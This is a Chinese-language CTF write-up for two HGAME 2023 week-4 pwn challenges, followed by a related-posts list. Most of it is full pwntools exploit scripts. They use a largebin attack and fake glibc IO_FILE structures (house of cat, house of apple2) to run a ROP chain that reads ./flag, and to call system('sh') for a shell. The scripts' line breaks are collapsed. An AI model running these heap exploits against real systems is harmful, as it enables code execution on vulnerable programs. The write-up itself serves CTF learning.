hgame-2023

文章目录

hgame-2023
- week4
- withouthook
- 4nswer's gift
- 后言：

week4

withouthook

存在UAF，跟week3先是一样，利用largebinattack，在IO_list_all写入可控堆地址，再伪造IO_FILE打IO即可

我这里使用的是house of cat

调用链：

_IO_wfile_seekoff_IO_switch_to_wget_mode(fp)_IO_WOVERFLOW(fp,WEOF)

House of cat

脚本如下：

from pwn import *
#p=remote("week-4.hgame.lwsec.cn",31394)
p=process("./withouthook")
libc=ELF("./libc.so.6")menu=">"def add(index,size):p.sendlineafter(menu,'1')p.sendlineafter("Index: ",str(index))p.sendlineafter("Size: ",str(size))def delete(index):p.sendlineafter(menu,'2')p.sendlineafter("Index: ",str(index))def edit(index,content):p.sendlineafter(menu,'3')p.sendlineafter("Index: ",str(index))p.sendafter("Content: ",content)def show(index):p.sendlineafter(menu,'4')p.sendlineafter("Index: ",str(index))def debug():gdb.attach(p)pause()#=============
# house of cat
#=============
def pwn():add(0,0x520)add(1,0x508)add(2,0x510)add(3,0x500)delete(0)delete(2)show(2)heap_base=u64(p.recv(6).ljust(8,'\x00'))-0x290print("heap_base-->"+hex(heap_base))add(4,0x510)# 2&4 unsortedbindelete(2)show(0)# largebinlibc_base=u64(p.recv(6).ljust(8,'\x00'))-0x1f70f0_IO_list_all=libc_base+libc.sym["_IO_list_all"]_IO_wfile_jumps=libc_base+libc.sym["_IO_wfile_jumps"]setcontext=libc_base+libc.sym["setcontext"]+61open_addr=libc_base+libc.sym["open"]svcudp_reply=libc_base+0x162f0amagic=libc_base+0x8c265syscall_ret=libc_base+0x8cb16pop_rdi_ret=libc_base+0x23ba5pop_rsi_ret=libc_base+0x251fepop_rdx_rbx_ret=libc_base+0x8bbb9pop_rax_ret=libc_base+0x3f923pop_rsp_ret=libc_base+0x2eb71leave_ret=libc_base+0x50757ret_addr=libc_base+0x22d19print("libc_base-->"+hex(libc_base))payload=p64(libc_base+0x1f70f0)*2+p64(heap_base+0x290)+p64(_IO_list_all-0x20)edit(0,payload)add(5,0x550)# 2&4 into largebin & largebin attackheap1_addr=heap_base+0x7d0heap3_addr=heap_base+0x1200heap5_addr=heap_base+0x1710fake_IO_file=''fake_IO_file=fake_IO_file.ljust(0x68-0x10,'\x00')+p64(heap5_addr)edit(4,fake_IO_file)fake_io_addr=heap5_addrfake_IO_FILE = p64(0)# _flags=rdifake_IO_FILE +=p64(0)*7fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)fake_IO_FILE +=p64(heap1_addr)#_IO_backup_base=rdxfake_IO_FILE +=p64(setcontext)# _IO_save_end=call addr(call setcontext/system)fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')fake_IO_FILE += p64(0)  # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')fake_IO_FILE += p64(heap_base+0x1000)  # _lock = a writable addressfake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addrfake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')fake_IO_FILE += p64(1) #mode=1fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')fake_IO_FILE += p64(_IO_wfile_jumps+0x30)  # (assert)vtable=IO_wfile_jumps+0x10 & (fsop)_IO_wfile_jumps+0x30fake_IO_FILE +=p64(0)*6fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addredit(5,fake_IO_FILE)rop='./flag\x00\x00'rop=rop.ljust(0xa0,'\x00')+p64(heap1_addr+0x200)+p64(ret_addr)orw=p64(pop_rdi_ret)+p64(heap1_addr)orw+=p64(pop_rsi_ret)+p64(0)orw+=p64(pop_rax_ret)+p64(2)orw+=p64(syscall_ret)orw+=p64(pop_rdi_ret)+p64(3)orw+=p64(pop_rsi_ret)+p64(heap1_addr+0x150)orw+=p64(pop_rdx_rbx_ret)+p64(0x45)+p64(0)orw+=p64(pop_rax_ret)+p64(0)orw+=p64(syscall_ret)orw+=p64(pop_rdi_ret)+p64(1)orw+=p64(pop_rsi_ret)+p64(heap1_addr+0x150)orw+=p64(pop_rdx_rbx_ret)+p64(0x45)+p64(0)orw+=p64(pop_rax_ret)+p64(1)orw+=p64(syscall_ret)rop=rop.ljust(0x200,'\x00')+orwedit(1,rop)#gdb.attach(p)p.sendlineafter(menu,'5')p.interactive()pwn()

4nswer’s gift

比上一题还简单，直接告诉你IO_list_all的地址，以此能得到libc_base，然后把你申请size大小的chunk的链入IO_list_all，就可以直接打IO，用house of apple2即可，详细学习链接见，week3的largenote

from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./gift'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0
if debug:libc=elf.libcp=process(binary)
else:host='week-4.hgame.lwsec.cn'port='32622'p=remote(host,port)#================
# house of apple2
#================def pwn():p.recvuntil("this: ")libc_base=int(p.recv(14),16)-libc.sym["_IO_list_all"]system_addr=libc_base+libc.sym["system"]_IO_str_jumps=libc_base+0x1f36a0_IO_wfile_jumps=libc_base+libc.sym["_IO_wfile_jumps"]bin_sh_addr=libc_base+libc.search("/bin/sh").next()print("libc_base-->"+hex(libc_base))p.recvuntil("gift?")p.sendline(str(0x30000))heap_addr=libc_base-0x33ff0print("heap_addr-->"+hex(heap_addr))fake_IO_FILE='  sh;'.ljust(8,'\x00')fake_IO_FILE=fake_IO_FILE.ljust(0x28,'\x00')+p64(1)# _write_ptrfake_IO_FILE=fake_IO_FILE.ljust(0xa0,'\x00')+p64(heap_addr+0x100)# _wide_datafake_IO_FILE=fake_IO_FILE.ljust(0xd8,'\x00')+p64(_IO_wfile_jumps)# _vtablefake_IO_FILE=fake_IO_FILE.ljust(0x100,'\x00')fake_wide_data=''fake_wide_data=fake_wide_data.ljust(0xe0,'\x00')+p64(heap_addr+0x200)# _wide_vtablefake_wide_data=fake_wide_data.ljust(0x100,'\x00')fake_vtable=''fake_vtable=fake_vtable.ljust(0x68,'\x00')+p64(system_addr)fake_IO_FILE=fake_IO_FILE+fake_wide_data+fake_vtablep.recvuntil("gitf?")#gdb.attach(p)p.send(fake_IO_FILE)p.interactive()pwn()

后言：

从四周的hgame学到了很多东西，只能说出题人很有想法，后两周出的都是高版本的glibc，虽然难上很多，但是更容易对接现在的题目类型，我本人也是第一次打高版本，一开始觉得很难，但是出题人给的都是直接的UAF，使攻击方法更容易实现，主要学的是新的攻击方法，也学到了一些常用的打IO的方法，受益匪浅，最后也是在woodwhale学长，niyah学长的帮助下(十分感谢这两位学长)，成功ak了hgame的pwn，太开心力

hgame-2023-week4相关推荐

HGame 2023 Week4 部分Writeup
文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week4-bu-fen-writeup 第四周的比赛难度较高,同时也出现了不少颇为有趣的 ...
HGAME 2023 Week1
HGAME 2023 Week1 文章目录 HGAME 2023 Week1 前言 Web Classic Childhood Game Become A Member Guess Who I Am ...
HGame 2023 Week3 部分Writeup
文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week3-bu-fen-writeup 本周在迎新春,走亲戚(真的很忙),外加题目难度增 ...
hgame2023-week4
hgame2023-week4 Web Shared Diary 第一眼testpassword 我以为真的捏下次改成fakepassword 后来以为 ejs原型链污染rce emmmmm 高版本 ...
Reverse入门[不断记录]
文章目录前言一.[SWPUCTF 2021 新生赛]re1 二.[SWPUCTF 2021 新生赛]re2 三.[GFCTF 2021]wordy[花指令] 四.[NSSRound#3 Team] ...
2023 HGAME网络攻防大赛wp
目录 WEEK1 MISC e99p1ant_want_girlfriend 神秘的海报 Where am I Crypto 兔兔的车票神秘的电话 Be Stream WEEK2 WEEK1 MIS ...
下一个AI领域的高薪方向：强化学习与智能决策研究班2023年春季招生启事
世界繁花盛开我们不必在同一个地方反复死磕强化学习是最近5年来人工智能最令人激动的研究领域.如下图Google的搜索指数可以看到,强化学习的搜索指数最近一些年明显呈现增长趋势,而NLP(自然语言 ...
hgame “Where am I“
2023.1.13 WP misc 题目描述:兔兔回家之前去了一个神秘的地方,并拍了张照上传到网盘,你知道他去了哪里吗? flag格式为: hgame{经度时_经度分_经度秒_东经(E)/西经(W)_ ...
【WP】hgame2023 week4 Pwn
[WP]hgame2023 week4 Pwn without_hook libc2.36的版本,没有__free_hook和__malloc_hook这种hook函数,这里使用打_IO_list_a ...
HGAME 2022 Writeup
文章目录 Level - Week1 WEB easy_auth 蛛蛛-嘿嘿?我的蛛蛛 Tetris plus Fujiwara Tofu Shop MISC 欢迎欢迎!热烈欢迎! 这个压缩包有点麻烦 ...

hgame-2023-week4